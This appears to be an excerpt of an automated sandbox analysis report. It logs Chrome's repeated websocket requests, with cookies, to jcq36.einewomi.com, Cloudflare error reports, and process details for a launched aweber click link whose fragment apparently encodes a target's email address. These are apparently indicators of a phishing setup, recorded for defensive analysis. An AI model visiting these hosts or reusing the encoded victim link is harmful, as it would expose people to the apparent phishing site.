2024-04-24 21:08:07 UTC	1369	IN	Data Raw: 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49796	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:10 UTC	1289	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: jcq36.einewomi.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://jcq36.einewomi.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D Sec-WebSocket-Key: Q8z08H3rsvcd3qpk7n+CHQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-04-24 21:08:10 UTC	585	IN	HTTP/1.1 400 Bad Request Date: Wed, 24 Apr 2024 21:08:10 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y9RPoklAYOMJNadyjMk6%2FM2J76OZdN900cTTwILQ9y%2FqMJ9EPy4C8K1%2BtQ%2BOfd7GitIahl2FkjFwPrnX4u7eNK3DZwtBKihbecQP0bFQSb74Q40Y2Ghmz4l67C%2BKpcg%2Feqw9BTQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8799112d58ba2f77-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 21:08:10 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-04-24 21:08:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49797	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:19 UTC	1289	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: jcq36.einewomi.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://jcq36.einewomi.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D Sec-WebSocket-Key: nwEQ4LijZvJVI8jzC07Q9Q== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-04-24 21:08:19 UTC	579	IN	HTTP/1.1 400 Bad Request Date: Wed, 24 Apr 2024 21:08:19 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=artB42ciESoTwk3eCnla1ob1RNbepcPiuNnnhJbMA6ZtzNyf%2FiGliWXteuJ%2FhuxPQDT6jhZXKK4FOoEZ4u5e2WVxRlmW%2BEHiBZcN0TBugeSWyYKn4YKPRLV1dnRMY8dOKFTrGZI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879911655cc62b69-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 21:08:19 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-04-24 21:08:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49802	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:32 UTC	1289	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: jcq36.einewomi.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://jcq36.einewomi.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D Sec-WebSocket-Key: yEYMdc0H1gqCyEbjltEFBQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-04-24 21:08:33 UTC	599	IN	HTTP/1.1 400 Bad Request Date: Wed, 24 Apr 2024 21:08:33 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=85hy37i1VFt%2Fo%2BXJcfT%2FC%2B5u55Nxji4QDk3e1%2F5FVmCpCPAoB0%2BgC8TXht%2FlLaYOLPYcwhmAS%2FYuaJ9lft97F%2Fw%2FuSgKqTzHyPt%2BF6Dyo5wiGNy9sM5bMNyo%2B%2F4ss9AfZXzbxcw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879911ba9ab80ca7-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 21:08:33 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-04-24 21:08:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49803	35.190.80.1	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:40 UTC	535	OUT	OPTIONS /report/v4?s=jtWZp9UYGtvzaNQ8LcAd7hjEyfpgSkrT2gFHR8AhHIRobEYaySv4GvNVpxEaRIXeEMbeDYy7EFFcLxbcOHwjefp%2FpfSh0357UMAFGfuSR4VzOABbhef%2BZRCRSuPbDA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://jcq36.einewomi.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 21:08:41 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Wed, 24 Apr 2024 21:08:40 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49804	35.190.80.1	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:41 UTC	474	OUT	POST /report/v4?s=jtWZp9UYGtvzaNQ8LcAd7hjEyfpgSkrT2gFHR8AhHIRobEYaySv4GvNVpxEaRIXeEMbeDYy7EFFcLxbcOHwjefp%2FpfSh0357UMAFGfuSR4VzOABbhef%2BZRCRSuPbDA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 877 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 21:08:41 UTC	877	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 34 30 31 36 31 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 36 32 34 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 33 37 2e 32 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6a 63 71 33 36 2e 65 69 6e 65 77 Data Ascii: [{"age":40161,"body":{"elapsed_time":1624,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"172.67.137.23","status_code":404,"type":"http.error"},"type":"network-error","url":"https://jcq36.einew
2024-04-24 21:08:41 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Wed, 24 Apr 2024 21:08:41 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49807	172.67.137.23	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:53 UTC	1289	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: jcq36.einewomi.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://jcq36.einewomi.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D Sec-WebSocket-Key: /yIW+HTI8274qHz+XwiETA== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-04-24 21:08:54 UTC	583	IN	HTTP/1.1 400 Bad Request Date: Wed, 24 Apr 2024 21:08:54 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4r2Nj%2FAFyi%2FzsEMTj9lUQJ5MQsDo6mC%2FVa4H45P%2FDfsnSOP02h2B96icZKYpOK44oHzpHGvORsbCzq8iSQBOs03YPDl2KHl6weoGG5tZhZ7Al8aLm86N%2F1g1VMFA8BR5MPs77n0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8799123e8c190fef-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 21:08:54 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-04-24 21:08:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 5272, Parent PID: 5752

General

Target ID:	0
Start time:	23:07:19
Start date:	24/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 4668, Parent PID: 5272

General

Target ID:	2
Start time:	23:07:23
Start date:	24/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2420 --field-trial-handle=2384,i,13496683094245167062,5294417639727405623,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 4764, Parent PID: 5752

General

Target ID:	3
Start time:	23:07:26
Start date:	24/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://clicks.aweber.com/y/ct/?l=irQzWw&m=hE2OWd5T.UYPuTr&b=hqint4ojZ0QPjD7.f4mxDg#Ym5hbmRlcnNvbkBwcmVzaWRpby5jb20="
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly